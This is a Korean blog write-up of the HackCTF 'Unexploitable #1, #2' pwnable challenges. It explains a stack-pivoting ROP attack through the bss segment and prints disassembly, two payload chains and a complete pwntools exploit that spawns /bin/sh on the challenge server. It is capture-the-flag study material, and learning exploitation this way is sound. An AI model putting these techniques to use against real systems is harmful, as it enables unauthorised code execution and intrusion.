ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pwnable] Unexploitable #1, #2
    Wargame/HackCTF 2020. 1. 27. 14:51

     

    들어가며

    이 문제는 rbp 레지스터를 이용한 stack pivoting에 대해서 잘 배울 수 있는 문제였다.

    lea 명령어에 대한 개념도 이번 기회에 확실하게 잡을 수 있어서 좋았다!

    다른 풀이도 되게 참신해서 여러 방면으로 좋은 문제인거 같다.

    두 문제다 동일한 방법으로 풀 수 있기에 같이 포스팅을 하였다.

     

    문제해석

    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# ./Unexploitable_1
    Easy RTL ha? You even have system@plt!
    
    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# gdb -q Unexploitable_1
    Reading symbols from Unexploitable_1...(no debugging symbols found)...done.
    gdb-peda$ pd main
    Dump of assembler code for function main:
    ...
       0x000000000040074d <+113>:   mov    rdx,QWORD PTR [rip+0x20091c]        # 0x601070 <stdin@@GLIBC_2.2.5>
       0x0000000000400754 <+120>:   lea    rax,[rbp-0x10]
       0x0000000000400758 <+124>:   mov    esi,0x40
       0x000000000040075d <+129>:   mov    rdi,rax
       0x0000000000400760 <+132>:   call   0x400580 <fgets@plt>
    ...

    system@plt가 있는 쉬운 RTL문제라 하고 stack에 0x40(64) 를 입력받은 후 그냥 종료하는 프로그램이다.

     

    system@plt가 어디 있는지 찾아보았다.

    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# objdump -M intel -d ./Unexploitable_1
    ...
    00000000004006c6 <gift>:
      4006c6:       55                      push   rbp
      4006c7:       48 89 e5                mov    rbp,rsp
      4006ca:       bf f8 07 40 00          mov    edi,0x4007f8
      4006cf:       b8 00 00 00 00          mov    eax,0x0
      4006d4:       e8 87 fe ff ff          call   400560 <system@plt>
      4006d9:       90                      nop
      4006da:       5d                      pop    rbp
      4006db:       c3                      ret
    ...
    
    gdb-peda$ x/s 0x4007f8
    0x4007f8:       "use this system gadget :D"

    <gift>라는 함수가 숨겨져 있었으며, 그 안에 edi로 문자열을 넣어 놓았다.

    그렇다면, pop rdi를 통해서 문자열을 "/bin/sh"로 바꿔준 후 0x4006cfrip를 두면, shell이 실행될 것이다.

     

    하지만, 기존의 rop를 통한 exploit을 진행 하기에는 입력받는 수가 제한되어 있기 때문에 힘들다.

    그래서 stack pivoting 방법을 써보았다.

     

    풀이

    stack pivoting은 스택 흐름을 pop rbp를 통하여 바꿔주는 것이다.

    그리고, stack은 ASLR 보호기법 때문에 값이 계속해서 변하는데, bss영역은 그렇지 않다.

    이때문에 pop rdi 시에 정확한 인자 값 주소를 넘겨줄 수 있다.

     

    문제에서 read 함수의 인자로 값을 넘겨주기 위해서 lea rax, [rbp-0x10] 이라는 명령어가 있다.

    이 명령은 stack을 참조하므로, stack의 흐름을 bss로 바꿔준다면 내가 원하는 주소를 rax에 저장할 수 있다.

    첫번째 Chain을 짜보자.

    payload = ''
    payload += "A"*24
    payload += p64(pop_rbp)
    payload += p64(main_stage+0x10)
    payload += p64(main)

    bss영역을 rbp로 만들어 주고 main으로 return한다. 이때 main은 시작지점이 아닌, lea 명령어가 있는 부분이다.

    lea rax, [rbp-0x10] 가 원하는 값으로 이루어지기 위해서 main_stage+0x10으로 하였다.

     

    이렇게 되면, 2번째 Chain에서 read함수가 끝나고 leave_ret 과정에서 rbpmain_stage+0x10을, rspmain_stage+0x18을 가르키게 될 것이다.

     

    이에 맞는 2번째 Chain을 짜보자.

    payload = ''
    payload += binsh
    payload += "B"*16
    payload += p64(pop_rdi)
    payload += p64(main_stage)
    payload += p64(system)

    이 payload는 bss영역에 들어갈 것이다. 즉, read(0, bss, 0x40) 를 행하는 것이다.

    bss영역 시작점 주소에는 binsh가 들어가있고, leave_ret이 수행되면, rsppop_rdi부분의 주소를 가르키고 있을 것이다.

    그렇게 되면, rdibinsh의 주소가 들어가고, 마지막으로 system함수가 실행된다.

     

    전체적인 payload는 다음과 같다.

    exploit.py

    from pwn import *
    
    context.terminal = ['tmux', 'splitw', '-h']
    
    r = remote('ctf.j0n9hyun.xyz', 3023)
    #r = process('./Unexploitable_1')
    e = ELF('./Unexploitable_1')
    
    #gdb.attach(r)
    
    pop_rbp = 0x00400630
    pop_rdi = 0x004007d3
    bss = 0x0000000000601060
    main_stage = bss + 0x600
    main = 0x000000000040074d
    system = 0x00000000004006cf
    binsh = '/bin/sh\x00'
    
    # Chain 1 : move rbp to bss
    payload = ''
    payload += "A"*24
    payload += p64(pop_rbp)
    payload += p64(main_stage+0x10)
    payload += p64(main)
    
    r.sendlineafter('\n', payload)
    
    # Chain 2 : read(0, bss, 0x40)
    payload = ''
    payload += binsh
    payload += "B"*16
    payload += p64(pop_rdi)
    payload += p64(main_stage)
    payload += p64(system)
    
    r.sendline(payload)
    r.interactive()

     

    2020.01.27 추가

    이 문제가 local에서는 SIGSEGV가 발생하는 것을 볼 수 있다.

    <_dl_runtime_resolve_xsavec+8> 부분에서 코드를 수행하고 +15부분으로 넘어갈때 발생하게 되는데, 분석해보면 다음과 같다.

    sub부분에서 rsp가 0x600f40이 된다.

    그리고 [rsp]에 rax를 복사하는 과정에서 발생함을 알 수 있다.

    binary에서 주어진 writeable한 영역은 0x601000~0x602000 이다. 하지만, rsp가 쓰려고 시도한 영역은 0x600f40으로, 영역을 벗어난다.

    그러므로 SIGSEGV가 발생한다.

     

    따라서, exploit code를 작성할 때, main_stage는 bss영역에서 적어도 0xa00보다 크게 잡아줘야 한다.

    main_stage = bss + 0xd00

    'Wargame > HackCTF' 카테고리의 다른 글

    [Pwnable] pzshell  (0) 2020.01.31
    [Pwnable] j0n9hyun's secret  (0) 2020.01.31
    [Pwnable] World Best Encryption Tool  (0) 2020.01.16
    [Misc] 탈옥  (0) 2020.01.16
    [Pwnable] Register  (0) 2020.01.16

    댓글

Designed by Tistory.